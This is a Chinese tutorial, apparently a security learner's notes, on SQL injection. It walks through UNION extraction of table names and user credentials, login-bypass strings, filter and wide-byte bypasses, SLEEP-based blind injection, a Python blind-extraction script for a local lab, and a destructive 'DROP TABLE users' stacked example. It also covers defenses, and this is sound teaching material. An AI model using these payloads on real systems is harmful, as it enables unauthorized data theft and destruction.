
1. 从一次登录绕过说起SQL注入到底是什么先说个真实的场景。前两年我在一个授权范围内的演练项目里遇到一个老旧的内部管理系统。朋友告诉我这个系统的登录页有点说法正常的账号密码进不去但随便输入一个不存在的用户名密码框里填上 or 11-- -直接登录进了管理后台。当时整个操作就发生在两三秒内管理员看到后台页面的时候整个人是懵的。这就是SQL注入的典型表现。SQL注入的核心原因说起来其实很简单程序把用户输入的内容直接拼进了SQL语句里没有做任何区分。数据库拿到拼接后的语句把输入的部分当作SQL指令来执行于是攻击者就能通过构造特殊输入让数据库执行自己想要的查询逻辑。一个字符串输入意外成了改变整条SQL语句结构的“代码”。这类问题在Web安全里属于老牌漏洞但绝不是“历史遗留”那么简单。我在实际测试和代码审计中见过不少新项目依然存在这类问题尤其在拼接式查询、排序字段、批量操作等场景里。对于刚入门安全方向的朋友来说SQL注入也是绕不过去的第一课——它覆盖了请求分析、闭合判断、语法构造、数据提取、绕过防御等一整套思路把这些学扎实了后续学习其他漏洞类型会顺畅很多。这篇文章整理了我自己在学习SQL注入过程中的部分笔记内容会包含原理拆解、联合注入的完整实操流程、万能密码与常见绕过思路、问题排查要点以及从开发者视角的防御建议。整个过程以靶场环境和授权测试场景为准所有示例都是为了帮助理解漏洞原理和防护方法请勿在任何未授权系统上测试。2. 原理拆解为什么一段输入能改变整条SQL的语义2.1 “代码与数据不分”是根因很多新手对SQL注入的理解停在“因为有漏洞所以能注入”的层面但真正要掌握它得先从数据库执行SQL的过程说起。假设后端代码是这么写的SELECT * FROM users WHERE username admin AND password 123456正常情况下数据库执行这条语句查询条件是两个字符串。但如果用户在用户名输入框里填写的内容不是admin而是admin-- -那拼接出来的语句会变成SELECT * FROM users WHERE username admin-- - AND password 123456在MySQL中--注意后面有空格或使用-- -变体表示注释符-- -后面所有的内容都会被当作注释忽略。于是真正被执行的语句变成了SELECT * FROM users WHERE username admin密码校验直接没了。这就是“代码与数据不分”的直观体现用户输入的闭合了字符串--注释了后面的内容输入不再只是数据而是参与了SQL语句的结构定义。我在实际分析里总结过一句话SQL注入的判定条件就三个字——可控、拼接、可执行。参数内容是否可控是否被拼接到SQL语句中拼接后是否能影响原有执行逻辑。三个条件同时成立基本可以确定存在SQL注入。理解这个逻辑之后很多绕过手法其实是围绕“如何让拼接后的SQL依然合法”来展开的。2.2 SQL注入的分类逻辑SQL注入的分类方式有很多种按数据流向可以分为有回显和无回显两大类。有回显的注入指的是攻击者的输入和执行结果能直接显示在页面上。最常见的就是联合查询注入UNION注入页面会把SQL查询结果直接渲染出来。这类注入的利用成本最低效率最高是CTF Web方向入门必练的技能点。无回显的注入页面不会显示数据库返回的内容。此时需要借助数据库的行为差异来判断条件是否成立。典型的两种方案是布尔盲注通过页面内容的变化判断条件真假。比如1 AND (SELECT 1 FROM users LIMIT 1) 1如果页面正常显示说明条件为真。时间盲注通过数据库延时响应来判断条件。比如1 AND SLEEP(5)如果页面响应延迟了5秒说明条件为真。这两种方式都是“一个一个字符猜”的过程效率偏低但胜在通用性强尤其是时间盲注几乎不依赖页面细节适合绝大多数场景。按照注入点类型还可以细分数字型WHERE id 1参数不带引号可以直接拼数字。字符型WHERE name admin参数被引号包裹需要先闭合引号。搜索型WHERE title LIKE %关键词%利用百分号通配符闭合语句。堆叠注入一次执行多条语句用分号分隔比如1; DROP TABLE users-- -。搞清楚分类的目的是面对一个注入点时能快速判断“接下来该怎么闭合、怎么构造”。我在靶场练习时发现很多新手卡住的地方不是不会用工具而是不知道当前这句话到底该怎么闭合。我会在后面的实操章节里详细展开。2.3 为什么联合注入是CTF Web里出场率最高的手法在CTF Web题目中联合注入UNION Query Injection几乎是必考项。原因很简单题目一般会给出一个查询功能用户输入商品ID、新闻ID等参数页面会显示对应记录开发代码里直接拼接了参数。这种场景天然适合UNION注入。UNION注入的核心逻辑是利用SQL的UNION操作符将我们自定义的查询结果合并到原始查询结果中。前提条件是两个查询的字段数量一致且对应字段的数据类型兼容。于是整个利用过程就变成了一条固定的流程确定注入点类型数字型还是字符型闭合语句。用ORDER BY或UNION SELECT试探字段数。确认显示位把回显位置替换成我们需要的查询语句。依次查询库名、表名、列名、数据。这个流程是学习SQL注入的“骨架”所有有回显的注入场景基本都适用。我在下一章把每一步的细节都拆开讲每一步都配上实际构造和判断方法新手按这个顺序操作基本不会迷路。3. 联合注入完整实操从判断注入点到拖出全部数据3.1 判定注入点先区分数字型还是字符型靶场环境里最常见的一个场景是商品查询页面URL长这样http://target.com/product.php?id1页面把ID为1的商品名称、价格、描述都显示出来了。第一步要做的是测试这个参数是否存在注入以及是哪种类型的注入。最直接的测试方法是在ID后面加一个单引号http://target.com/product.php?id1如果页面报错、显示异常或者返回500说明这个参数可能进入了SQL查询。然后再通过逻辑测试来确认类型http://target.com/product.php?id1 AND 11 http://target.com/product.php?id1 AND 12如果第一个页面正常第二个页面无数据或异常说明数字型注入大概率存在因为我们的AND 11和AND 12直接参与了SQL逻辑判断且语句能正常执行。如果对字符型参数用同样的方法测试不奏效比如参数值原本是abc拼接查询长这样SELECT * FROM products WHERE name abc这时就需要先闭合引号。构造http://target.com/search.php?nameabc AND 11相当于SELECT * FROM products WHERE name abc AND 11条件恒为真页面正常。把11改成12条件恒为假页面无数据。通过对比就能确认注入成立且是字符型。我个人的习惯是用一个专门的测试字典跑一遍把、、)、)、--、%27等变体都试一遍看哪个组合导致页面行为变化基本能确定边界字符和闭合方式。这个信息后面构造有效载荷时至关重要。3.2 判断字段数量ORDER BY到UNION SELECT确认注入点之后需要知道原始查询返回了多少列。最常用的两种方式各有利弊。第一种是ORDER BY试探法。通过让结果集按照第N列排序观察语句是否报错http://target.com/product.php?id1 ORDER BY 1 http://target.com/product.php?id1 ORDER BY 2 http://target.com/product.php?id1 ORDER BY 3只要不报错就继续增加列数。当ORDER BY 5报错而ORDER BY 4正常时说明原始查询返回的字段数是4。第二种是UNION SELECT直接试探http://target.com/product.php?id1 UNION SELECT 1,2,3如果页面正常显示数字说明字段数至少是3如果报错提示“The used SELECT statements have a different number of columns”说明字段数不是3继续增加或减少数量。这种方式效率更高但也要求页面有回显。我在初学阶段偏好ORDER BY因为它的反馈更直观——列数超出时数据库一定会报错。但实际测试中排序字段可能被开发者用白名单过滤了或者查询语句本身已经带了ORDER BY此时UNION SELECT就成了首选。两种方法都要会才能应对不同场景。3.3 确定回显位置找出页面展示对应列知道字段数是3之后构造如下请求http://target.com/product.php?id1 UNION SELECT 1,2,3页面会显示一条额外的结果可能是ID: 1 Name: 2 Price: 3也可能只显示部分数字。这一步的目标是确认页面渲染的是哪几列的内容。比如页面把第2列和第3列的内容显示出来了那么后续的查询语句就应该放在第2位和第3位。http://target.com/product.php?id1 UNION SELECT 1,database(),user()这样页面上原本显示“2”的位置会变成当前数据库名显示“3”的位置会变成当前数据库用户。这一步是整个联合注入流程的“落地点”后面所有数据提取都是通过这两个位置输出来实现的。需要注意一点如果原始查询结果集不为空UNION查询的结果会追加在后面有些页面只显示第一条结果导致看不到注入结果。常规的处理方法是把ID改成一个不存在的值比如http://target.com/product.php?id-1 UNION SELECT 1,database(),user()这样原始查询没有返回记录页面显示的就是UNION查询的结果。这个技巧在实战里非常实用CTF题目里也经常埋这个点。3.4 完整信息收集库名、表名、列名、数据确认了回显位置后面的步骤就是套模板。第一步查询当前数据库名UNION SELECT 1,database(),3假设返回的结果是demo_db。接着查这个库里有哪些表UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schemademo_dbinformation_schema.tables是MySQL系统库中的表记录了数据库中所有表和视图的信息。group_concat函数能把多行结果合并成一行方便在单个显示位中输出全部内容。如果看到users表第二步查这个表有哪些列UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schemademo_db AND table_nameusers假设返回id,username,password第三步直接查数据UNION SELECT 1,group_concat(username,0x3a,password),3 FROM demo_db.users这里0x3a是冒号的十六进制表示用于在username和password之间加一个分隔符便于阅读。最终页面上会显示类似admin:5f4dcc3b5aa765d61d8327deb882cf99的内容。到这一步一个完整的联合注入利用流程就走通了。这四步看似简单但每一步都可能因为过滤规则、字段类型、显示位数等问题卡壳。我在第5章会把常见的坑和排查思路整理出来。4. 万能密码与绕过思路为什么 or 11-- -能登录成功4.1 万能密码的本质万能密码是SQL注入最经典的场景之一。回到文章开头那个登录框很多新手不理解为什么 or 11-- -能直接登录看一段常见的错误登录逻辑$sql SELECT * FROM users WHERE username $_POST[username] AND password $_POST[password]; $result mysqli_query($conn, $sql); if (mysqli_num_rows($result) 0) { // 登录成功 }当用户名输入admin-- -密码随便填什么拼接后的SQL变成SELECT * FROM users WHERE username admin-- - AND password 123456-- -把后面的密码条件注释掉了整条语句变成SELECT * FROM users WHERE username admin只要存在用户名为admin的记录查询结果就不为空登录成功。而输入 or 11-- -时SELECT * FROM users WHERE username or 11-- - AND password 123456or 11让整个WHERE条件恒为真查询结果会返回表中所有记录登录同样成功。这就是万能密码名称的由来——它不管用户名存不存在直接让条件恒真。这类问题在实际环境中依然高发。我在代码审计时见过不少老系统虽然前端加了各种校验但后端代码依然是字符串拼接的方式处理登录查询。前端校验本质上只是用户体验优化后端没有做参数化查询漏洞就始终存在。热词里“sql注入万能密码绕过”被频繁搜索说明这个问题到现在仍然是很多初学者理解和利用SQL注入的切入点同时它也是防御方必须重点关注的典型场景。4.2 常见变体与注释符差异万能密码的变体非常多核心思路是闭合引号 注释掉后续条件或者闭合引号 构造恒真条件。整理几个常见的形式输入内容用户名拼接后的效果admin or 11闭合引号并构造恒真条件admin-- -闭合引号并注释掉后续条件 or 11#MySQL中#是注释符作用类似--admin or 11#闭合引号 恒真 注释admin or 11-- a--后加任意字符避免空格问题注释符的差异值得单独说。MySQL支持三种注释方式#注释到行尾--后面必须至少跟一个空格或控制字符如换行才能被当作注释符/* */多行注释中间内容会被忽略所以-- -中的-是为了满足“注释符后有空格”的条件防止数据库把--xxx当作普通字符。--#、--也是常见的变体会被URL解码成空格。记住这一点很多莫名其妙的失败原因就清楚了。4.3 编码绕过当引号被转义时怎么办如果后端代码用addslashes、mysql_real_escape_string或mysqli_real_escape_string对用户输入做了转义单引号会被加上反斜杠\导致闭合失败。这时候怎么办一个常见的思路是利用宽字节注入。在GBK等宽字节编码下%df%27即%df经过数据库解析时%df和反斜杠\会组合成一个合法的宽字节字符后面的单引号就脱离了转义成功闭合。具体流程是后端将转义为\即%5c%27而程序以GBK编码解析时%df%5c会被解释为汉字“連”原本的反斜杠被“吃掉”了剩下的%27就成了一个正常的单引号。这就是宽字节注入的原理。这个漏洞在MySQLGBK编码的PHP老应用里很经典。我在靶场里复现过多次核心条件是数据库连接字符集为GBK且转义函数只处理了引号。如果你的测试目标是UTF-8编码的应用这个思路通常不成立需要换其他绕过方式。还有一类常见的情况是空字节截断利用%00在部分数据库或操作系统中的截断特性来截断字符串从而绕过后缀检查或长度限制。不过这类用法在现代高版本数据库中已经基本失效主要在一些老旧的Windows环境里能看到。了解它的意义更多是在阅读老文章、分析历史漏洞时能看懂上下文。4.4 CTF里常见的注入变形CTF的Web题目很少让你直接一梭子打出数据库内容中间通常会加各种“调料”。我整理几个常见的变形思路空格过滤。部分题目会把空格过滤掉此时可以用注释符替代空格SELECT/**/username/**/FROM/**/users或者用括号包裹比如(SELECT(username)FROM(users))。关键字过滤。select、union等关键字被过滤时可以在关键字中间插入注释符来绕过前提是后端只做了简单的字符串匹配UN/**/ION SEL/**/ECT在MySQL中/**/可以被当作空格处理所以UN/**/ION会被解析成UNION。表名或列名过滤。有些题会过滤information_schema这个名字可以尝试用反引号包裹、大小写混写或者查询其他视图。但多数情况下过滤规则只用了简单的字符串包含判断用变形写法就能绕过。二次注入。攻击者第一次把恶意内容写入数据库程序在存储时做了转义所以第一次注入不成功。但后续某个功能在读取数据库内容时直接拼接SQL且没有做转义恶意内容就在第二次使用时被触发了。这种题目考察的是对数据流全链路的理解能力。我在做CTF题时的经验是先看过滤规则再想怎么构造最后才是跑数据。直接上自动化工具往往过不了题因为题目设置的过滤就是针对工具的常见载荷。5. 无回显场景布尔盲注与时间盲注的判断技巧5.1 布尔盲注用页面差异“猜”出数据有些注入点的查询结果不会直接显示在页面上页面只反馈“存在”或“不存在”。比如一个查询接口记录存在时返回“查询成功”不存在时返回“未找到记录”。这种情况下可以利用布尔条件来逐位提取数据。测试方式很简单。先确认注入点然后构造条件语句http://target.com/search.php?id1 AND (SELECT SUBSTRING(database(),1,1)) a如果数据库名的第一个字符确实是a页面返回“查询成功”否则返回“未找到记录”。用这种方式对每个字符逐个枚举就能把整个数据库名拼出来。手动操作效率很低实际测试中通常用脚本或者工具比如sqlmap的--techniqueB来跑。我在初学时手动写过Python脚本大概逻辑是用SUBSTRING和ASCII函数做二分比较每次测试一个字符的ASCII码范围效率比逐字符枚举高了不少。这个思路在写注入脚本时很实用也是理解盲注原理的好方法。5.2 时间盲注当页面完全不反馈时布尔盲注还有一个前提页面必须有“真/假”两种不同的反馈。但如果页面无论查询结果如何都返回相同的静态内容布尔盲注就失效了。此时可以使用时间盲注。时间盲注的核心是利用SLEEP或BENCHMARK函数制造可观测的延迟http://target.com/search.php?id1 AND IF(ASCII(SUBSTRING(database(),1,1))97,SLEEP(3),0)如果数据库名第一个字符的ASCII码等于97即字母a数据库会执行SLEEP(3)页面响应时间延迟约3秒否则立即返回。通过观测响应时间差异就能逐字符提取数据。使用时间盲注时有一个重要前提数据库账号需要有执行SLEEP的权限且目标数据库是MySQL。对于其他数据库函数名会不同比如PostgreSQL用pg_sleep()MSSQL用WAITFOR DELAY 0:0:3。如果不确定目标数据库类型可以先根据页面报错信息、URL参数特性或者Cookie特征做初步判断再选择合适的延时函数。很多新手在使用时间盲注时踩过同一个坑本地测试明明延迟了到了目标环境却完全不生效。排查方向一般是网络延迟不稳定、数据库权限受限、WAF拦截了SLEEP函数、或者目标数据库类型与预期不一致。这类问题我会在下一节详细展开。5.3 什么时候优先用工具什么时候必须手注对于无回显注入工具的效率和准确性远高于手注。sqlmap可以自动化完成布尔盲注和时间盲注的检测与数据提取是Web安全测试里最常用的工具之一。使用时注意限制请求速度和线程数避免对目标造成过大压力。但工具并不是万能的。CTF题目里经常会过滤掉工具的常见特征比如拦截sqlmap的User-Agent、检测到并发请求就封IP、或者设置了CSRF token导致每次请求都需要动态获取。这种情况下手注能力就变得关键。我的建议是能识别注入类型、能看懂工具payload的手注能力是基本功工具只是提升效率的手段。初学者至少要用脚本或手工方式完整跑过一次布尔盲注和时间盲注理解整个提取过程之后再使用工具会顺手很多。6. 防御视角如果这段代码归你维护6.1 参数化查询是底线SQL注入的防御方案业界已经有非常成熟的共识最核心的一条就是使用参数化查询Prepared Statement。参数化查询的核心思想是让数据库在执行SQL前先定义语句结构再将参数作为值传入。数据库会严格区分“语句结构”和“参数值”参数中的任何内容都不会被当作SQL代码执行。以PHP的PDO为例$stmt $pdo-prepare(SELECT * FROM users WHERE username ? AND password ?); $stmt-execute([$username, $password]);Java的PreparedStatement同理String sql SELECT * FROM users WHERE username ? AND password ?; PreparedStatement ps conn.prepareStatement(sql); ps.setString(1, username); ps.setString(2, password);这里有一个关键点参数化查询只有在SQL语句结构固定的情况下才有效。如果SQL语句中表名、列名、排序字段是通过字符串拼接方式传入的参数化查询无法覆盖因为这些部分属于“语句结构”而非“参数值”。排序字段这类场景需要使用白名单校验。6.2 白名单校验与最小权限对于不能使用参数化查询的场景比如ORDER BY字段、表名、列名一般做法是使用白名单校验。不是去“过滤非法字符”而是直接规定“允许出现的值”。allowed_columns [id, name, price, created_at] if order_col not in allowed_columns: order_col id这种策略的好处是即使攻击者把参数改得天翻地覆只要不在白名单里程序根本不会使用这个值漏洞自然不成立。白名单的思维比黑名单过滤要稳健得多因为黑名单很难覆盖所有可能的绕过变形而白名单直接限制了输入空间。数据库账号权限的最小化也是防御的重要一环。很多注入漏洞能够造成巨大危害本质上是因为数据库账号权限过高。代码中使用的数据库账号如果只需要执行增删改查就不应该赋予DROP、FILE、SUPER等高危权限。权限配好之后即使出现注入点攻击者能做的事情也会被限制在很小的范围内。6.3 从攻击者视角倒推防御重点我自己的习惯是做开发的时候会以攻击者的视角审视每一条SQL语句。写代码时多问自己几个问题这个参数会不会进入SQL语句如果能进入我是否用了参数化查询如果参数用在了表名或列名上是否做了白名单校验数据库账号的权限是不是最小化配置这套思路听起来朴素但实际执行效果比任何花哨的防护产品都可靠。安全不是靠某个单点防护而是靠每个环节都堵住自己的漏洞。SQL注入的修复方案没有门槛门槛在于开发者是否意识到每一个请求参数都可能是攻击者的入口。7. 常见问题与排查技巧实录7.1 为什么页面不回显数据但能判断存在注入这种场景经常遇到明明逻辑判断确认了注入存在但UNION查询没有结果返回。排查方向有这几个第一检查页面是否有回显位。所谓回显位是指页面能够渲染SQL查询结果的内容区域。如果页面只是把查询结果用于逻辑判断比如判断是否登录成功不会把内容输出到HTML中那么UNION注入就没有输出通道。此时应该考虑盲注方案。第二检查原始查询的结果集是否为空。前面提到过把ID改成不存在的负数可以让UNION查询的结果排在最前面显示。很多新手漏了这一步导致页面一直显示原始数据看不到自定义查询的内容。第三检查字段数是否判断正确。UNION要求两个SELECT语句的列数一致如果列数不同数据库会报错。很多时候不是注入不成功而是连UNION SELECT 1,2,3的列数都没试对。7.2 引号被过滤了还能注入吗引号被过滤或转义时注入依然可能成立前提是找到替代方案。数字型注入通常不涉及引号可以直接构造id1 AND (SELECT 1 FROM users WHERE usernameadmin)如果子查询内部需要字符串可以使用十六进制编码。MySQL会把0x61646d696e直接当作admin字符串处理id1 AND (SELECT 1 FROM users WHERE username0x61646d696e)还有一些函数可以替代字符串比如CHAR(97,100,109,105,110)会返回admin。如果WAF对常见函数名有拦截可以尝试在函数名中间插入注释符比如CHA/**/R前提是后端没有做词法级别的解析。7.3 ORDER BY、LIMIT里的注入怎么处理ORDER BY后的注入比较特殊因为UNION无法在ORDER BY子句中使用。对于ORDER BY参数常见思路是盲注或报错注入。比如ORDER BY IF(11,id,name)如果11为真结果集按id排序为假则按name排序。通过对比排序结果的差异来判断条件真假。如果排序字段处可以输入表达式且能报错可以尝试报错注入函数但我更推荐在测试中优先用布尔判断。LIMIT后的注入在MySQL老版本中可以用PROCEDURE ANALYSE()但新版本已经修复。实际测试中LIMIT注入更多依赖堆叠注入配合适用于MSSQL和PostgreSQL等支持多语句执行的数据库。如果目标是MySQL且开启了多语句支持也可以尝试。这类场景不多遇到时不要死磕优先确认数据库版本和执行权限。7.4 常见问题速查表现象可能原因排查思路加单引号后页面报错存在字符型注入或参数未处理闭合引号后注释掉后续内容AND 11正常、AND 12也正常参数可能没有被拼接进SQL检查请求参数名是否正确、是否有多层参数值UNION没有回显页面没有渲染查询内容把ID改成不存在值或检查显示位时间盲注不生效数据库类型不同、权限不足、WAF拦截确认数据库类型和版本检查SLEEP是否可用引号被转义后端做了过滤尝试宽字节注入或十六进制编码关键字被过滤WAF或代码层拦截用注释符、大小写、编码变形绕过页面返回500但无错误信息拼接SQL语法错误在本地靶场复现构造过程逐步排查语法排查这些问题的通用思路是先在本地搭建靶场环境比如DVWA、SQLi-Labs、Pikachu等把线上遇到的情况在本地复现一遍对比差异逐步缩小排查范围。很多线上搞不定的问题在本地其实几分钟就能搞清楚原因。8. 学习路径与练习环境推荐8.1 从靶场开始别一上来就去拿真实系统练手我在带新人时反复强调一个原则所有注入手法的练习必须在靶场或自己搭建的测试环境里完成。未经授权测试他人系统不仅是违规行为还可能涉及法律责任安全技术从业者首先要尊重边界。适合新手的靶场我排个序SQLi-Labs专为SQL注入设计的靶场从基础到进阶有几十个关卡每一关对应一种注入类型或绕过技巧是学习SQL注入最系统的资源。DVWADamn Vulnerable Web Application综合类漏洞靶场支持SQL注入的多种难度切换适合从低难度到高难度循序渐进。Pikachu中文靶场覆盖了大量常见漏洞类型界面友好适合中文读者学习。Less系列sqli-labs很多文章分析过每个Less的构造跟着这些文章自己动手一遍效果远好于直接看答案。建议的学习顺序是先练联合注入再到布尔盲注、时间盲注然后是POST注入、Cookie注入、宽字节注入、堆叠注入最后再接触过滤绕过的各种变形。这个顺序和漏洞利用的难度曲线基本一致。8.2 写脚本是提升盲注效率的最好方式学盲注的时候强烈建议自己写一遍提取脚本。写脚本的过程其实就是把注入原理再消化一遍的过程。需要处理的核心逻辑包括会话保持、条件判断、字符集枚举、二分搜索、结果拼接以及对特殊字符的编码处理。用Python写一个简单的布尔盲注脚本框架可以这样入手import requests url http://127.0.0.1/sqli-labs/Less-8/ charset abcdefghijklmnopqrstuvwxyz0123456789 def is_true(condition): payload f?id1 AND {condition}-- - r requests.get(url payload) return You are in in r.text def get_database_name(): name for i in range(1, 33): for c in charset: cond fASCII(SUBSTRING(database(),{i},1)){ord(c)} if is_true(cond): name c print(name) break return name print(get_database_name())这个脚本的逻辑是用于数字或字符型注入点的布尔盲注通过逐字符比较ASCII码来提取数据库名。实际使用中需要根据目标页面的回显特征修改is_true函数的判断条件同时注意请求频率避免对目标造成过大压力。写几个类似脚本之后对时间盲注、报错注入的理解会明显加深。8.3 从CTF题目里练过滤绕过CTF Web方向的注入题和真实系统的注入场景相比最大区别在于过滤规则更刻意更考验构造能力。推荐去刷一些经典题目重点关注这些方向空格被过滤的替代方案注释符、括号、Tab键关键字被过滤的变形大小写、注释符插入、同义函数替换显示位受限时的处理group_concat、concat_ws、substring无法直接查询information_schema时的方法sys.schema_auto_increment_columns等替代视图CTF题里有一个常见考点用GROUP_CONCAT(...)配合SEPARATOR自定义分隔符突破显示位长度限制。还有一个点是如果回显只显示一行就要确保UNION查询的结果能排到第一位通常用负数ID或LIMIT 1 OFFSET n控制返回顺序。刷题时建议限定时间独立完成后再看别人的Writeup对比自己的构造思路。不要一上来就开自动注入工具工具只能辅助提速替代不了你对SQL语句本身的理解。9. 最后聊点我自己的体会从第一次在靶场里用单引号把页面搞到报错到现在看到SQL语句下意识思考它的拼接方式SQL注入这门课教会我的远不止一条注入语句怎么写。它让我真正理解了“输入不可信”这几个字的分量。几乎所有SQL注入漏洞的产生都是因为开发者默认“用户输入是安全的”。这种思维惯性不只在SQL注入里存在XSS、SSRF、文件上传、命令注入本质上都是同一个问题把用户可控的内容当成了可信内容。掌握SQL注入的底层逻辑等于理解了Web安全里最核心的一套思维模式。我现在的习惯是不管是看代码还是写代码每遇到一个外部输入都会先做一个心理上的安全校验流程这个值会流向哪里会被用在什么上下文里如果我输入一段特殊构造的内容会造成什么后果这套本能的养成比记住任何攻击手法都重要。在这个领域里待得越久越觉得安全不是一项独立的工作而是贯穿在每一个技术环节中的基本素养。希望这篇笔记能帮助刚起步的你把路走稳。以后遇到有意思的绕法和新思路我还会继续记录下来和大家分享。